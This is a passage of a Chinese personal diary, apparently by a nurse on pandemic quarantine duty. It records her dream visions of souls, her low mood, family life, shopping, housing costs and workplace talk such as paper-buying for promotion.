    但是我做给我自己吃，没有事。后面时间久了就好像还好，我老公吃我做的蛋炒饭，好像没有拉肚子。说明现在的我已经没有了那种有毒的能量。
    看过几篇小说。大概就是很老一点的爱情故事，一个女孩子她和一个男孩子谈恋爱，然后她很喜欢他，他要走了，然后女孩子的家里人给女孩子相亲了一个对象，后面女孩和那个相亲对象结婚了，然后过了很多年，她的初恋回来了。然后她要去看初恋和她老公说了，然后后面和自己老公回来了。事情就这么一个事，内容大概就是说她还是比较喜欢她老公，因为她老公给她的感觉踏实。之类的优秀品质。还有一个故事。也是类似的模板，就是她谈了个恋爱，后面她男友离开了，分手了，然后她嫁了人，然后结婚了几年，她前男友又回来了，然后他邀请她，她就去看他，然后突然胃痛，她就叫了她老公的名字，叫他把胃药拿给她，后面她前男友就走了，情绪上的东西我也看不懂，大概的意思，她已经习惯了她现在的生活。
    反正我不太看得懂。离开的总会让人很遗憾。没办法的，现实世界并不像小说那么美好。有很多很多的因素。后面就像一个场景一样，看到了一个很美丽的女孩子，好像是我的样子，对一个男孩子说，撒个谎，我喜欢过你。那是一个小说里的一句话，那本小说我根本看不懂，全文就记住了这一句话。一个男性角色，他对一个人说撒个谎:我喜欢你。但是那本书我就是看不懂。除了这一句话看了有感觉，其他的都看不懂，所有的字我都认识，但是我就是看不懂内容。
    可能那本书写的是比较难受的内容，所以我看不懂吧！类似于悲伤逆流成河，之类的，看了以后我的悲伤逆流成河我根本看不懂。不知道作者写了什么。
    又扯远了，我不知道我能不能好起来。我的状态不算很好，自从初中完了以后，我的心理状态一直很差，差到现在这种程度其实就像千里之堤溃于蚁穴一样，慢慢的被自己内心里的负能量腐蚀掉了的感觉，现在只是表现的出来的更强烈一点而已。自我认为的话，我认为是因为我违背本心，我比较喜欢他，但是我又没有选择喜欢他，然后形成了我的潜意识与我的主意识对抗，可是我其实又不是很纯粹的喜欢他，肯定是有目地的，是为了达成某一些目地喜欢对方，而我又不想欺骗自己。欺骗别人。就是中二期没有完善好，这是一个非常重要的阶段，心理阶段，很纠结。反正搞不明白。
    太晚了我要做学习强国了。

 第226章

梦境。梦到了一个女孩子倒地不起，在一个空间里，然后梦里的我叫醒了她，然后梦到了我家里的场景。然后梦到了一个白色的发光的男孩子，然后他笑了笑，他的灵魂变得不怎么好看了，后面我家的电脑坏了，然后来了一个修电脑的人，我和他说那个修电脑的人好好看啊！那个场景里的我的灵魂我感觉不太正常，那个灵魂有点子害怕的感觉，害怕我？可能吧！我以前也看到过这样子黑不拉几的灵魂，一般都会很恐惧。而那个状态感觉就像很恐惧的状态，后面男孩子的灵魂说他不是很喜欢我。然后那个修电脑的我也不知道他有没有修好，就出来了。我也没有什么太大的感觉。我也不认识他的灵魂。然后那个家的场景也非常的久远。我感觉以前没有见过这个场景。

 第227章

    过几天快回去了，大家在讨论房价的事。
    房价有点子高。然后医生他们有房贷和车贷。在这里这一个月，没有多少病人，也没有阳性的，所以收获可能不大。因为听说有阳性的病人，如果是密切接触者是医务人员的话，可能不需要考职称，就可以上去，不过论文还是必须得买。就是职称可以免考。直接通过。
    诱惑力有一点。他们感觉不是很公平。因为外面工作的人很辛苦，而我们安排到里面的也一样。这样子搞，要么会盼着有阳性病人出现，要么会对领导的安排不满，大家都很想去外面工作。有机会接触阳性人员。然后下午看了一篇文，说做核酸的公司利润很大的文，然后抓了好多人。不知道怎么讲。然后如果接触了的人，没有任何的好处，那么其他人再碰到很危急得情况肯定不会勇往直前，因为做这种大公无私的事，又没有看得到的好处，实实在在的东西，那谁都不肯。都是上有老下有小的人。做人难啊！做什么都难。不过我的心愿还是希望没有问题最好，因为灾难的东西没有人可以控制的好。
    心情不是很好。在这个世界活着不太容易。成年了有房贷，车贷，养小孩子的成本，还有各种各样的欲望各种杂七杂八的事。开心和快乐的感觉变得很难。
    护士考试多。然后有了小孩，有了家庭的人，下班了以后还要花一堆的时间在学习上。真的很痛苦。真的学了这一行以后发现不快乐的人很多。真希望科技发达一点，有那种全息模拟。如果以后有要学习的内容，像打游戏一样，带上头盔，在那个世界里体会，就好了，不要去真实世界。可是我们这个世界又会不会是不是别人的全息模拟世界呢？所以这种不切实际的幻想还是少想一点好。
    还有真羡慕拆迁户。听说有的同事的家，拆迁了，然后全款买了房买了车。我和老公估计不知道要什么时候才买的起，算了我都不指望了，工资降下来了，我挺开心的，因为这样子我的脑子不会特别的累，不过我还是想买衣服，想一想还是算了吧！最近我妈妈快生日了，我没有给她买衣服。给她买了爷爷奶奶也想买，老公要买，宝宝要买，家公家婆要买。算了心累。没有买衣服的心情了。主要算一下没多少钱。以前我比较喜欢抠一点生活，想要的也不算多，后面结婚了以后发现日子也就这样子，要花的话。其实要买的东西很多，不想花其实也就这样子。
    聊到了一个寺庙周边的房子，说那里有祖先的能量在，比较强悍。所以在这个周围的人住很容易得乳腺癌。已经有十几个人得了。心情复杂。
    先有寺庙的，以前那个地方也比较荒凉。后面发展起来了，就在周围做了房子。那个寺庙我觉得很好耶，没有感觉到这种东西。以前心情不好，我就会想要去寺庙上香，然后慢慢心情就好起来了。应该关系不大。
    反正出去以后，要准备好考试了。这个行业好多考试。他们说不知道考试的意义在哪里？我也不知道，其实我都不知道存在于这个世界的意义在哪里，何况是考试。说有的护士考试压力好大跳楼了。那个新闻我可能没有看到过。我记得异世界见闻录里写过，有的人在现实世界生活的一塌糊涂，然后希望自己能够穿越到其他世界生活，能够像爽文一样活的风生水起。然后女神就真的送他去另一个世界了，然后他在新世界也吃不了苦，天天闲鱼摆烂。过的很差，唉，这就是说的我。我也是一种人，这个世界过的烂，穿越了也过的烂，我吃不了苦。没有持之以恒的动力。去看电视剧吧！小说，感觉自己沉浸在这种世界里无法自拔，但是换其他的健康的生活方式，我也懒。
    本来还带了几本书，希望自己在宾馆住的时候，能够看书。还叫我老公买了笔。以前在家里的时候，天天都在抱怨，抱怨有家人，导致我没有时间看书和学习了，而到了宾馆以后。身边没有了家人和孩子，我也没有去翻我的车，还带了几本草稿纸，一本都没有动。我也许是一个有天分的人，但是最后也泯然于众人，以前学习伤仲永的时候，没听懂老师讲的课文。到了现在终于明白了。人家是天分的，后面没有继续培养自己的天分，然后又追名琢利，慢慢就变得像平常百姓了，他没有很好的家庭条件，所以他的父亲才会为了金钱早早的耗费了他的天分，然后我也差不多吧！我可能有天赋，但是不知道自己的天赋是什么方面的，也不知道如何培养，就算有，我也不会用心。因为我的思维是死的，就像小狗钱钱里讲的内容，你需要心里有实现那个愿望的信心，才会实现。而我没有，虽然我试着改了，可是我仍然没有信心。也好像改不了这个程序一样。方法有，但是没有想改变的心思。
    看电视吧！

 第228章

    原来我妈妈的生日过掉了。。。。
    我还总想着我妈妈的生日，给她买衣服，不过我也没有买，我怕买的她又不喜欢。原来她生日过了，而且我也没有包红包。真的是。算了出去了再包。我忘了。忘记定闹钟了。
    其实我家里人的生日，我都记不住，不止我妈妈，还有爸爸，爷爷，奶奶的都忘了。每年都必须妹妹还有亲戚提醒才记得住，要么就是过年的时候用心把所有人的生日都用日历软件定闹钟提醒。不然根本记不住。小的时候爸爸妈妈爷爷奶奶的生日，就会记得很清楚，写在本子上，根本不用翻本子都记得住。长大了就不行了，除了我自己的生日，我自己的生日，都忘的一干二净，也没有想着去过。后面哪一年来着。小姐妹给我过了一个生日，然后我就只记得自己的生日，别人的都忘了。后面自己的也忘了。然后发现别人对生日都是很有意义的样子，会用心的准备。然后就开始慢慢的注意一下。结婚了，我老公就会买蛋糕给我。他很有仪式感，过生日会买蛋糕。我的话，没有这个仪式感。不过还好吧，至少回忆一下的话，就会感觉还是有点子回忆的。
    跟宝宝视频，她又叫我爸爸了。身为妈妈，早在她没有出生之前，就听说，先教宝宝叫爸爸，然后晚上换纸尿裤就会爸爸来，妈妈能够好好休息一会儿，然后后面宝宝确实好爱叫爸爸，然后还有点子生气，生气她就叫爸爸那么亲。不过老公也确实认真带娃带过好多天，后面就变得呼呼大睡了，因为他白天要上班，晚上要带娃娃，也挺辛苦的，有那么一段时间，走路都是飘的，被折磨的人都很憔悴。不知道我们的未来会是怎么样？她们说她们的老公很多东西都包办。宝宝的事几乎都是老公包掉了。即使在很忙的时候，因为我们的家人们都已经习惯了我们的工作。真希望我老公也会如此。
    老公给我买的辣条，还有一包，吃了几包辣条了，口腔溃疡。有药，但是又不太想吃。泡面也想消灭掉。
    最近好热啊！手机里的信息显示最近我们这里可能会有干旱。然后出了好多汗，电视剧真的很好看，熬夜刷完了。然后这个休息，比上班还消耗身体能量。领导在这里休息比工作人员更少。他们休息了一天，发现比上班还累。因为一个人关在了房间里面。然后责任心可能比较强一点，会做噩梦，几乎都是梦见疫情之类的。我的话，就习惯了，以前的生活也就是手机，然后下班一个人在房间里刷视频，看小说，要么做题，要么听课，要么娱乐，总之还行吧！这个是消耗金钱最少的娱乐模式，我老公也和我差不多，因为出去吃个酒或者是干嘛，比玩手机的花销更多。都是宅。所以在这里还好，但是久了也不好了，因为我发现我越来越没有办法自控的感觉。以前至少我会去练字，写字看书，现在看小说，看电视剧还会熬夜，也就学校时期熬过一段时间的夜，后面上班了很少专门熬夜去玩的。来自星星的你，这个好像是熬夜看的，好好看，这个电视剧，现在看完了苍兰诀。还行吧！一开始是看了会笑出声，后面发现这个电视剧后面的结局有点子虐。代入不了。场景很美，后面真的没感觉了。可能是因为一下子一天之内刷完的，所以有点子像一下子吃太撑了消化不了，而来自星星的你也是一下子看完的，还想刷第二遍，第三遍的感觉，可能是因为可以融入角色的感觉？我们又不是明星，我也不知道什么感觉？我本来想回忆一下那个《怦然心动》的电影的。然后一直都没有看，我已经看了好多遍了。每一遍都有新的感觉。新的理解。
    可能说自己在休息的时候有娱乐的东西不好，但是哪一天看过一篇文，写的是工作人员的，教师一类的，书上说教师需要做什么，需要对孩子负责，然后文里的老师也确实很认真负责，关心同学的心理情况，各种状态，但是后面那个孩子还是有心理问题，后面就可能发生了家属对老师的抱怨，在后面作者写的就是老师对那件事情她其实也做了很多科学性的处理，但是学生仍然没有办法变好，作者说其实我们批上这身衣服我们在好好工作，脱下这身衣服我们也只是平常老百姓。谁都希望自己班级里的孩子是好的，认真学习的然后他们可以很好，因为他们好，占用的私人时间就不多，人家在下班的时候有时间去看电视，刷剧，而不用每天都提心吊胆的去考虑学生的问题。反正那个文章写的内容是很好的，我感觉我写出来就没有了那种很好的味道。学校代替不了家庭的作用。讲的好像是一个孩子学习很好吧！然后后面他出了心理问题，然后那个老师，组织了同学和他进行沟通，还安排了比较好的同学和他做同桌，反正采取了各种各样的措施，但是后面的结果仍然不算好，后面孩子转学了好像。可能写的内容更丰富一点，还有很多东西我记不起来了。大概就是这个样子。一个事有一千个角度去看会有一千个不同的结论。不用评判因为我记不清。别人记事都是添油加醋内容能够在原基础上再丰富一层，我的是缺斤少两，这个少一点，那个少一点，然后出来的东西，可能和原来人家要讲的东西根本不是一个东西。为什么会这样子？工作也是，我发现我会这样子。领导和我说的事，听到我耳朵里面，就不是同一个意思。要是他少说了两句，后面我做事的时候就发现气的人家跳脚。为什么我的头脑会和老师教的相反。理我懂这个理，感觉自己就像别人的恋爱一样，学的时候很好，很理解老师讲的内容，自己思考的时候是另一个内容，然后做事的时候又是其他的内容，然后考核的时候又是别的内容。东西都是一样的。我看领导的签名是天生我才必有用，我也不知道我这根朽木怎么样才能最好，我记得以前我老师说过，这个世界上是没有垃圾的人的，只有放错了地方才会认为是个废物。而放对了地方都会很珍贵啊，是金子会发光啊！之类的话。但是如果放错了怎么办呢？如何回收呢？对不对？回收利用的代价比培养一个废物更多怎么办？我们有那么大的能量吗？看一看就感觉自己很没有志气，在中医里面就是肾气不足。心神可能也有点子问题，这个要吃点子药。我记得倪海厦老师的一个视频里说过，心脏里有一滴血，虽然我们的心脏一直在搏动，但是中间那滴血始终不会消失。那个人就是正常的，那滴血主神志。我这个就感觉那滴传说中的心头血走的去血液循环傲游了，搞得我的头脑和神志，之类的经常不在服务区。做人做事都有点子扯。我不太开心，现在的自己可能在尽力的搞笑逗我开心。像一个小丑一样。可是这是病，我不理解的病。

 第229章

    突然想到了论文的事。医疗系统是有买论文的，有的医务人员会自己写论文，有的是买的。很贵，一篇几千块钱。一年要好多篇。然后才能升职称。听了会不会感觉很糟心。一开始我也这样子。那个论文是需要在一些杂志上出版的，而且内容特别的严谨。就是看了让人头晕和头痛的感觉。一下子不注意就不晓得人家写的什么东西，如果我要看懂的话，要看个几十遍，但是我怎么可能有功夫去看呢？但是需要这种东西，才能进职称，哪里都是这样子。做这种事，如果吃力不讨好的感觉肯定是有利益。我没有到这种程度，我也不知道利益是什么，反正他们和我说了我也听不明白，到了那种程度就明白了。有的医务人员会自己写论文。以前一本书里也教过人家怎么写自己想要的论文，需要翻阅大量的资料，然后找到自己想写的内容。一点点的精炼，然后需要很多时间，很多精力。都是关于医疗的东西。很难。
    这种东西怎么讲呢？就像以前学校考试一样，一张卷子学霸看了98，学神100，优秀的89中等的70分以上，及格的60分以上，学渣60分以下。老师希望学渣们学的更好一点，然后就提出了方案，比如让他们抄几遍卷子。然后有的学渣不止一门功课不及格，对不对，卷子要抄的就多掉了，那么有的在老师上课的时候还在抄卷子，浪费很多精神，本来听得就不是很懂，然后占用的时间太多了，就导致下次考试没听懂还不及格，有的比较聪明的学渣，他们就会把要抄的卷子，交给同学抄。考完的卷子嘛！他们给钱，或者请吃零食，请学习好的同学抄，减轻自己的负担。然后学习好的那批人，如果课间不想去玩，或者想练字的那批人就会帮忙，反正大家都有好处。对不对。
    我们这个医疗系统也差不多就是这个意思。其实大家都很希望自己是学神学霸之类的人，但是有的情况就不允许。每个人的条件就是不一样，不一样导致这个世界缤纷多彩。很美好也有很多很痛苦的东西。这个没办法的事。这里的学业也是非常的多，我敢说没有哪个人会说自己学的很好很好。因为很多东西都很难懂，很难懂也就算了，它还要考试。好累啊！本来人应该会有想象力，学习的内容可以通过想象去理解，但是这个医疗的学习，它好像没有办法通过自己的大脑去面对书本对疾病进行想象一样的理解。为什么？我也不太明白，可能这个就是考验心智。总之这个没有捷径。对我来说。只能靠自己的心神去理解，理解了就懂了，完全动用不了自己想象力的，那种能力。就是学习它的时候想象一下脑子都很痛苦，痛苦到自己不想去想的那种感觉。就像看电视剧，代入进电视剧了就会感觉自己能够好好理解这个剧所有的情感流动之类的，然后我们医疗里面的东西，代入进去了，就感觉痛苦心塞，而且长期长时间的那种，所以导致自己的大脑为了保护自己的心智，就会没有办法去运用自己想象的能力去学习理解这个医疗的东西在讲什么。或者疾病千变万化，很少有人会像书本一样生病，生病的原因各种各样。还有很多恐惧。我们的工作是需要大家团结一心的，然后又需要互相防备，怕哪一个人一不小心就留了一个坑给你添。有的坑碰到了，可能是人命关天，可能需要进入牢房之类的，然后有的工作流程就像电脑一样精密，不能出一点子差错，反正特别的累。打个比方，你这个时间点需要做某一个事，你需要在你去的那条路上，在自己脑子里规划好，可以顺便做的事，就一起做掉它去，节约走来走去的时间，比如你去那个房间加药水，顺便把其他工作做好，而顺便把其他工作做好，里面可能包含了很多小细节的东西。然后就能节省去那个病房的次数，还有时间。它不是你做一件事就一件事，而是很多事一起来，然后思考的时间不能太久，一天就那么短，而且持续性的这样过完这一天，期间还有很多事情，同事的情绪，和你搭班的医生，然后还有各种情况。还有病人生病产生的负能量，速度要快动作要麻利，姿势要帅。还要保持医务人员的良好形象，让人家一看到你就对你产生信任，专业能力要强，然后工作能力，和病人的沟通。各种操作还不算是难的，教一下谁都会，而面对病人的沟通还有同事的沟通，上级下级的沟通才是最难得，像我这个脑回路确实很难，社恐。和人讲话之类的，一开始的状态还好，后来就会变得越来越糟糕。我也搞不懂？

 第230章

    梦境，梦之前想了很多，想到了母其弥雅。以前很喜欢过她，一段时间。看她的瑜伽视频很开心。后面就没有去看了。然后那个场景是她在一个地方练瑜伽，突然感觉她的灵魂好黑。明明感觉她给人说的话是好的，但是不知道为什么我会突然感觉很难受。然后在那个场景里就看到了很大的黑色的脑子在笑。我感觉很扯，为什么会想到这个事。后面就是想起来她的一些绯闻。后面就想起来娜娜写过的一本书里的话。其实他们那些明星会有很多的绯闻。其实当事人没有什么，但是就是会有好多。因为有一部分人靠这个生存，没办法。
    后面就进入了一个梦境，梦里面是一些蛋的产房，是的生蛋，然后那个小房间有一个蛋，它到了出生的时间，然后它从房间里滚了出去，通过了一些道路，它就在一个坑里破壳而出。然后它出来以后，就在对我说叫我妈妈。我说我不是你妈妈，我只是帮你忙的而已。然后就用了一个竹片把那个宝宝给托上来了，不知道是一个小鸡仔子，还是一个小鸭仔子，毛茸茸的，还可爱子。然后它就上去了，还和它介绍了这几天刚孵化的宝宝。它们有一些都长的很好，有的出生了两天左右就明显更大了一部分。然后碰到了一个崽崽，感觉他的能量有点子奇怪。然后进入了下一个场景，它一出生就生病了，那个场景里它是一个人类的孩子。然后就给打针，医生给它开了甘露醇，然后梦里的场景就是在问要不要给它打这个药，医生说要，然后梦里就准备给它打，然后发现准备的针头都是弯的，周围有好多黑色的能量在移动在笑。然后它手上的针还是硬针，我不知道是不是昨天的人给它打的，但问题是它刚出生啊，哪里来的昨天，然后脑子就一片乱。但是马上采取措施，就是重新打针。按医嘱执行。然后就是一个小房间，我要给我的手机充电，发现我的手机的电量不足，充了也没有进。然后梦境里的自己就盯着这个手机，发现充电线弯的，按理来说充电线弯的是正常的，后面发现充的进了。让我感觉很奇怪。
    这两件事有什么必然的关系吗？完全没有啊！。。。。。

 第231章

    梦境，梦里面是被水泡着的兰花草，然后它快出来的时候，有一个灰色的女士，想把它给摘了，然后就醒了。
    梦境梦到了一个小茅房。然后里面有一个长的很好看的女孩子，但是她的灵魂在自残。她的身体受了很多伤，梦里面的天空灰蒙蒙的，她就看着我，我感觉不出什么情绪。她的眼神我也读不出来，对她也没有什么太大的评判。就感觉这个灵魂很白，然后她就在那个场景里看着我，我没有太多的感觉。然后下一个场景一个男士的灵魂给了那个女孩子一些东西，可能给她防身用的。后面就换了一个场景，那个场景好像是一个车站，然后一位男士在车站等我，然后他等到了我对我说你很自私。然后他走了。然后下一个场景，场景里我看着一个女孩子。那个女孩子的灵魂很漂亮很明亮，然后我的角色好像是一个蓝色的萝卜一样站在那里。然后她没有什么感觉，我也没有什么感觉。
    里面肯定还发生什么，忘记了那个剧情了。？

 第232章

    梦境，梦里面是好多灰色的灵魂，然后不晓得在讲什么？没懂。昨天的。然后看到了一个白色的像纽扣大小的孩子，和一个红色的像纽扣大小的孩子对话。不过我听不懂。
    昨天的白天大家讨论的是三四十的人没有结婚的事。在小县城的话，比较少，在大城市比较多。
    讲到一个女士，她大概三十八岁左右，年轻时经历过了一段恋情。谈了一个男朋友，结果男士劈腿。然后她就再也没有谈过恋爱了。谁给她介绍她都不谈。介绍的条件都还不错，很好的那种，银行行长，啊这种层级的，但是她就是不谈。不过也没有讲什么，就是说了我写的以上的内容。还有就是大城市的人，他们八零后没有结婚，有一个固定的男朋友，或者女朋友，但是他们就是不结婚。自己有房子。
    我对此没有什么太大的评价。反正结婚也好，不结婚也好。身边大多数人都是结婚了的，在乡下我都是最晚结婚的。如果我没有之前的操作，早早就嫁了，可能十六七岁的样子，就是结婚生娃的事。哪里还等得到二十几岁嫁。可能人家遭受了情伤。可能从小看到了家庭暴力不想人家和自己一起受苦可能想要一个精神上的伴侣等等这种事每个人的条件都不同。
    我还比较羡慕人家有房子。而且他们肯定是把房子装修成自己喜欢的样子的那种人，要多可爱有多可爱，要多好看有多好看。之前在网上看了好一些人的房子，很多细节都是自己很喜欢的那种，没有那种很老的感觉。可可爱爱的，一下班就感觉被治愈了。单身的生活能活成这个样子其实很爽的。但是，不是每个人都那么强大，可以顶的住压力。
    有一些年纪大一点的人说结婚其实就是希望自己的枕边人可以在自己腰痛的时候帮自己扶一下起床，还有就是帮自己端杯水。其他的要求没有什么。不记得哪一篇文章讲的了，我没有什么好评价的。
    我只是条件不够，不然我也不会选择结婚。家公家婆对我挺好的，会帮我带娃，会买我喜欢的零食，我喜欢吃板栗，家公买了一蛇皮袋的板栗给我吃，然后有段时间不吃辣，家婆做的菜一点辣椒都不放。不过他们喜欢吃辣椒，我还是比较希望他们吃他们自己喜欢的菜。然后会帮宝宝洗澡，衣服之类的，家婆全包了，有洗衣机，会晒衣服收衣服之类的，还有做菜都是她会做掉，我做的菜难吃没办法，学了也没有用。这已经很好了。
    但是有条件还是会选择不结婚，因为我想攒钱买房。有家里人，没有钱买房，结婚花好多钱，彩礼肯定要有的，所有人都有，都是这个价，如果男方说这个贵了，我们可以退，那个时候结婚之前就讲好了，不愿意就可以退，你可以找过一个妹子。肯定有更可爱你认为划得来的妹子。只要你用心去找。而我如果没有结婚。我也有独立生活的能力，我会用一生，去攒钱买一个房子，用心去装修。成为我梦想的家。而结婚不一样了，需要很多政治头脑。奈何我的头脑就不行。我不想去伤害任何一个人，我只能伤害我自己了。我会尽量会考虑其他人的想法然后选择别人喜欢的东西，。不是我喜欢的。然后久而久之，我又会发脾气，攒很久的脾气。然后慢慢崩溃，然后等这个脾气过了，就还是老样子循环重复。如果一开始就选择自己喜欢的东西，那么就很少能发生这样子的事，可是生活就是不会这样子选择。为什么呢？因为自己一个人的时候，只有自己，就算自己有喜欢的东西被自己拒绝了，那种受伤的感觉就不会特别的明显，但是如果有一群人在一起，自己有喜欢的想法东西，被旁边人拒绝了，就会有一堆的抱怨。尽管是自己投射过去的，人家可能说了自己潜意识里想说的话，就会有难受的情绪，而自己一个人就没有这种烦恼了，我今天心情好，这个想买的东西，买。不用考虑那么多，我今天心情一般，这个想买的东西考虑一下，不买。所以更多的时候心情都不好，需要买东西心情才能好起来。养成了坏习惯。但是和老公相处，如果有一件衣服，我感觉我喜欢，他如果回复我不要买，就马上发脾气，或者发脾气四五天，他回复我要买可以买，我就会抱怨自己身材太差了，配不上这件衣服不想买，如果他说确实你身材好差，我就发脾气。说还是生娃生的，如果没有结婚没有生娃，我的身材也不至于这样子。想一想都觉得好笑，但是这个脑回路就是这样子。
    出去了好想买衣服。真的是。

 第233章

    梦境，中午的梦境，是梦到了一个女孩子的灵魂，她可能要给我脸上弄什么东西，好累，然后醒了。
    让我有点子醒不过来，很累的感觉。我不晓得怎么回事。昨天的梦境，就是梦见了一个女孩子的穿很漂亮的衣服，然后好黑的灵魂过来了，梦里面说我们快要回家了，然后我醒了。我看到了她。
    今天晚上的梦。也就二十分钟的样子。那个梦境里，我梦到了同事，她要进一个地方，然后笑眯眯的，梦里我给了她一个口罩。然后我告诉她我的包很乱，她没有口罩的话就将就用一下，有的话就算了。梦里面是一个房间，房间里有一个男孩子躺在床上看书。然后过了一会儿那个男孩子房间里的灯关了，停电了，我怎么弄那个房间里的灯都没有亮。然后梦里的我觉得奇怪。就在看那个灯，那个灯和现实世界里的灯长的不一样，在梦里思考它的工作原理。然后就出了梦境。被吓醒了，不知道房间里是不是进了老鼠，在吃东西的感觉，可是我们宾馆没有老鼠，而且我房间里也没有东西吃的，都带回去了。
    昨天是好兴奋，因为我以为可以回家了，人民医院接诊，我们这里有可能会撤。结果没怎么休息，然后衣服之类的都叫我老公带回去了，正准备今天，收拾好，就可以回家了的

 第234章

梦境。梦境里梦到了一个黑色的女士，梦里面她在和我说话，不过我没有听懂。醒来好累。

 第235章

    梦境。梦到了一条河。梦里面有个男的灵魂，不过不晓得他干嘛的，梦里的感觉不算很好。然后梦到了一个山谷，山谷里面有一种像小鱼一样的东西，我在河边找那种东西，
    然后
    碰到了那种橙黄色像一条一厘米长的小鱼，
    梦里的我在和一群人说话，说的内容，我不太听的懂。然后就在
    那条河边一直走，然后梦见了上班的地方。
    就是现在上班的地方。梦里面是一个老人家，他说我们现在消毒没有一开始用心。然后有几个人的灵魂被魔魂给控制了，然后还有几个人的灵魂，好像被搞黄色废料的灵魂入侵了。灵魂有点灰蒙蒙的东西在移动。然后老人家在我们的医院游荡。然后另一个灵魂说先解决那些搞黄色的。
    我跟在他后面。
    这几天都消了毒啊。
    我是看小说有点子看多了吧！今天搞完了我们都得回家了，人民医院接诊了。我们这边就可以回家了。隔离几天就可以回医院上班了。
    梦里是一个男的灵魂，像灰红色的灵魂，他在一片广阔的空间里，说你不喜欢我。而我又不认识他。他在那里笑，然后身体里出现了更小一点的灵魂。不过我不理解这个场景。我感觉梦里的我没有什么意识。然后梦里的我也是这种颜色的灵魂，没有开心，也没有什么感觉，就感觉好像快意识消散的那种感觉，整个灵魂都在发愣。啥感觉都没有。然后记住了一种状态，那好像也是个梦境。只是用另一个角度看我。那个场景也是类似于一个空间，空间的状态就是我的灵魂比较容易被七情六欲附体，不管是别人的还是自己的，那种能量很奇怪，可以把像细胞核一样的内在灵魂给包裹住，然后碰到了一个男士，他好像对这个东西不受影响，然后看到了他的灵魂，他也有情绪，但是他的核心没有被情绪控制住，那种情绪在他那个角色里，但是并没有入侵他的意识，他意识还是他自己。所以他的外在表现就是有情绪的人但是不被情绪控制。然后他的精神体，在我面前出现了一下，后面他就走了。可是我该如何像他那样子呢？

 第236章

    梦境。昨天白天一瞬间的。干活的时候，看到了一个穿手套的手抓住了一个金色耳朵的人，或者是猴子。然后它就呕吐了一些灰蓝色的东西，然后就没有了。
    梦境昨日的。梦里面是领导叫我换电脑登录什么东西。然后我就在那个电脑上登录了我的信息。然后场景就换了。梦里面是两本书。书上是同一篇课文，但是内容确不一样。梦里有一个老师，他在教我学那个内容。不知道他讲了什么，我就用手机拍下来那个课文。然后就是进入了梦里的梦境。梦里的梦境是一个很大的场景。但是都是灰蒙蒙的。然后梦到了一个红色的妖精。然后妖精在笑眯眯的讲着什么东西，然后就是很多灰色的鬼，后面就醒了。
    还在梦里面。梦里面的场景是一个电脑。然后同事问我登录什么。然后我在那个电脑里登录上去，然后梦到了最近一起的同事，说那个电脑盒子里有一些灰，然后看到了一本书烧成了灰。我们在清理那本书的灰。然后就是登录那个电脑。梦境里面就是梦到了同事在对我讲什么。但是我听不懂。就觉得好奇怪。
    然后下一个场景就是书里面的内容。梦里面是进入了那篇文章的里面。好像是一个白色的小孩子，按照书里面的内容做事情，然后它停在了门口，后面它不理解了吧！后面的可能讲的内容我也看不懂，然后就有一个穿着军人衣服的过来了。说了啥不知道，我感觉就像模拟课程一样。不过我看不懂。

 第237章

    买买买。我感觉我买了好多啊！但是感觉还不够。我的年龄有点大了，穿衣服的风格需要改变一下，可能需要变得优雅成熟一点。其实我还是很喜欢可爱一点的风格，不过年龄摆在这里不好装嫩。
    好喜欢看的小说《丑丫修真记》。看完了，真希望作者写下去，我感觉很精彩。有点喜欢女主角的性格，做事好谨慎低调一个人。而且没有很多的金手指。动不动修炼个几十年。我真心喜欢那种能做事持之以恒的人。这是我心里面很欣赏的人，就像以前看的小说也是，都是很努力很努力的面对困难不怕失败一次又一次用心用功的人。我也希望我也是这样子持之以恒，坚定目标，做事不怕失败，坚持不懈，用心思考的人。我也只是心里喜欢和欣赏这种人。
    如果我自己丢到这种环境，三秒真君子。只能保持三秒的稳定状态，后面的话，可能是抱头鼠窜。胆子小的很，然后修行肯定是三天打鱼两天晒网的，就像现在面对学习一样。然后可能会纠结于很多莫须有的东西，不会勇敢面对。我感觉我会是这种人吧！因为现在的我差不多是这样子。但是看的书里说人每两年就会换一副骨头，七年可以把自己本身的所有东西都换一个遍。至于原理是什么，作者怎么讲的，忘了，总之会有很多次脱胎换骨的机会，需要自己好好把握。
    最近我把宝宝化积的药吃掉了。家公去乡下买的，听说是哪个人家的祖传秘方，五块一包，买了十包，五十块。我认为这玩意就是调理脾胃的，正好，我这个月有点子食欲不振，就拿了一包，吃了两天。我的感觉就是这个东西可以用水泡开，然后并没有苦味之类的。就是就着白开水喝下去，也喝的下，不会有中药的奇怪的味道。然后第一天就是晚上吃的，早上拉的屎还可以。然后今天是第二天。晚上吃完了饭，肚子一直在咕咕叫。晚饭已经吃完了。不过太晚了就还是不吃那么多东西。真神奇。之前好像看到了一个方子。不过我不记得自己有没有截图了。也是类似的东西。

 第238章

    梦境。这个梦境很奇怪吧！
    梦到了一个学校，梦到了自己喜欢的人，然后他在教自己学习。梦境里好像越来越喜欢他，然后梦里有一个灵魂要去教室开灯。然后发现是白天。然后下一个场景是在路上，梦里面我们在路上学习。好像越喜欢他，灵魂就消失的越快。后来听到他说:你不懂，你的情绪在我这里。所以你在想什么，我一清二楚。然后我突然之间明白了什么。下一个场景是一个男修掠夺了一位女修的灵魂，是修为还是什么，我也不太懂，只知道女修的灵魂里好多光芒被他弄走了。然后女修的灵魂倒在了那里。她变成了一个小孩子，看了我一眼，好像叹了口气。然后她的灵魂就消失在梦境中了。梦里的男修，他得到了女修的灵魂。后面出现了很多黑色的灵魂，说：你既然变成男儿身，那么你就代替她受这生生世世的痛苦吧！
    男修的灵魂变成了红色。他回头望了我一眼:居然会那么痛苦的吗？
    不过我不晓得他的情绪是什么？痛苦是肯定有的。爱这种东西，把自己所拥有的心甘情愿给别人，然后还容易被人伤害。如果控制不了，就会变得面目可憎，然后还会被别人当成妖魔鬼怪杀掉。可苦逼了。怎么可能不痛苦呢？
    梦境里一个很大的黑影形成的灵魂，还有一个发亮的灵魂在一起笑眯眯的说:最近的劫没一个过关的。
    我不太理解。只是看着。爱情这种东西，怕它不来，又怕它乱来。真的是没办法。

 第239章

梦境。梦境里面有一个小孩子，好像他有一个师傅在教他阵法。然后我就在那里看，后面可能我快醒了，所以就看不懂了。我感觉这个人用了一块很宽阔的木板，然后在木板上画了一个爪子，然后爪子周围放了几个圆圆的东西。后来的东西看不懂了，我醒了就退出去了。梦里的人说我爷爷会这个东西。我搞不懂。就醒了。

 第240章

    梦境，昨天的，梦里面是一团橙色的舞好像有很多人在和我说话，但是听不懂。
